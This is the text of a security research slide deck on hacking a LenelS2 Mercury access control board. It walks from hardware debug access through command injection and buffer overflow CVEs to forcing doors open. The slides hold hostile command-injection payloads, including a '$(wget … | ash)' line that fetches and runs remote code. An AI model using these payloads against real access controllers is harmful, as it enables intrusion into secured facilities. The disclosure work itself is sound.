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Perimeter Breached! 
Hacking an Access Control System

Sam Quinn

Steve Povolny
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Sam Quinn
• Senior Security Researcher

• Tail of Advanced Threat Research

• “1337 Hax0r”

• Core technical interests:

• Exploitation

• Hardware hacking

• Embedded systems

• OS fundamentals

#whoami

Steve Povolny
• Principal Engineer

• Head of Advanced Threat Research

• “Excel Guru”

• Core technical interests:

• Vulnerability RCA

• Reverse engineering

• Exploitation

• Hardware hacking
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Sam

Avid Mountain Bikers

Steve
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Target Identified
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• Geopolitical tension and cyber warfare increasingly targeting ICS/BAS
• Gas & Oil Pipelines

• Water treatment

• Telecomm

• Energy grid

• Access controls

• Access control - single point of failure for critical facilities

• Little prior research into this vertical

Critical Infrastructure
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LenelS2 – A Carrier Company

Local Network

OnGuard Server
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Government certification
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GSA Approved Products List
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Target Acquired
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Hardware Pwnage
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• CPU
• Atmel ARM-based microcontroller

• IO ports
• JTAG 

• UART

• Ethernet

Component and chip identification
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• Identify debug port candidates
• 4 pin – UART?

• 20 pin –JTAG?

• Identify pins
• TX, RX, GND, PWR

• Confirm via multimeter for power, logic 
analyzer for data

Hitchhiker’s Guide to Getting UART Console
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Saleae Logic Analyzer

Wire 4: Ground

Wires to Pins 0, 1 and 2
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Logic Analyzer Confirmation

“ROMBoot”
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Roadblock 1: UART disabled
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• Overwriting init with bin/sh

• Find startup scripts that disable UART

• Change the root password if there is one

• Bonus: Dump the full firmware

Approach to Reenabling UART 
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• Approach
• Leverage JTAG to dump bootloader image
• RE Uboot image to find where bootdelay is checked
• Use Jlink to insert boot-time breakpoint before check of bootdelay
• Modify bootdelay variable to -1 from 0

Roadblock 2: Uboot does not allow interactive 
commands
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• 20 pin candidate on the board

• Jtagulator @joegrand

• Segger Jlink

• Orientation of pins
• Test GND pins

• Check 5V power w multimeter

• YOLO?

JTAG to Dump the Bootloader 
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Wiring this all together
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Actual JTAG
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• JLinkExe allows us to script, debug, breakpoint, interface with CPU
• Highly confidential script “break.jlink”
• “h”
• Finally, could generate an automatic breakpoint during boot just before 

the bootdelay is set
• On to dumping the image…

JLink Software
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• Had a memory address from boot time to 
locate rough location of Uboot

• Used JLink “SaveBin” to dump 0x80000 
bytes from the location of Uboot

Dumping the bootloader
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Locating Strings of Interest
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Mapping Strings to Memory Location in UBoot
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• Hardcoded to 0x3000 (LE “0”)

• Modified to 0x312d (LE “-1”)

• Continue (g)

Inline patch of bootdelay
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Root Shell
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Approach

• Identify proper method for disabling 
WDT

• Pause CPU and overwrite WDT values

• Validate WDT is disabled

Roadblock 3: Persistent Hardware-based Watchdog Timer
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How to disable WDT
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Overwriting WDT values

0010 1111 = 2 F
1010 1111 = A F
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Verifying that the WDT is disabled
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All of that, just so we can BEGIN the software hacking process…
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Software Hacking
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• Looking for network vectors

• NMAP scan 
• 80 – Redirect SSL

• 443  - Active web server

• 3001 – Mgmt port

Attack vector enumeration
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• Login

• Main

• Network

• Restricted to certain 
character set on input 
forms

Standard operation
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• 34 CGI-bin files

• All run as root ☺

• Compiled with symbols 
(Non-stripped)

CGI Binaries
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System()

Command Injections

• System calls were wrapped by 
“merc_system”

• Look for calls that have user input

• Determine where the input is from
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Two layers of character 
blacklisting

• Client side

• Server side

Hostname command injection
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Input: $(sleep 10)

• Via browser 

• Via curl

Further restrictions

Bypassing character sanitization
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• Alternatives to “space” 

• Tab, CR, LF

CVE-2022-31479: Command injection

Subsequence 1:
-H $(udhcpc –i eth0) 

Subsequence 2:
$(wget –q –O – 172.16.0.138 | ash)
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Exploit payload – C2

Subsequence 2:
$(wget –q –O – 172.16.0.138 | ash)
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• Cookie validation per CGI

• Some CGIs check the cookie only for GET requests 

• Curl output looks like it still failed

• Debug messages show network data applied

Authenticated command injection – or is it?
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Need to find a reboot
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CVE-2022-31481: Firmware upload buffer overflow

• Diagnostic “Update Firmware”

• Cookie validation done right…

• BUT only from iFrame (front end)

• CGI fwUpdate does zero validation
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Firmware upload validation
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Inline signature size validation
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Exploiting the BO
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Vulnerability summary

CVE Detail Summary Mercury Firmware Version CVSS Score

CVE-2022-31479 Unauthenticated command injection <=1.291 Base 9.0, Overall 8.1

CVE-2022-31480 Unauthenticated denial-of-service <=1.291 Base 7.5, Overall 6.7

CVE-2022-31481 Unauthenticated remote code execution <=1.291 Base 10.0, Overall 9.0

CVE-2022-31486 Authenticated command injection <=1.291 (no patch available) Base 9.1, Overall 8.2

CVE-2022-31482 Unauthenticated denial-of-service <=1.265 Base 7.5, Overall 6.7

CVE-2022-31483 Authenticated arbitrary file write <=1.265 Base 9.1, Overall 8.2

CVE-2022-31484 Unauthenticated user modification <=1.265 Base 7.5, Overall 6.7

CVE-2022-31485 Unauthenticated information spoofing <=1.265 Base 5.3, Overall 4.8
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Affected Product List
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Exploitation 
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• Finding how the relays are triggered

• Creating malware

• Forcing the door to open

• Keeping the door closed

• Hiding from the monitoring software

Hacking the planet!
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Triggering relays
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Final Demo
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Steve - @spovolny

Sam   - @eAyeP


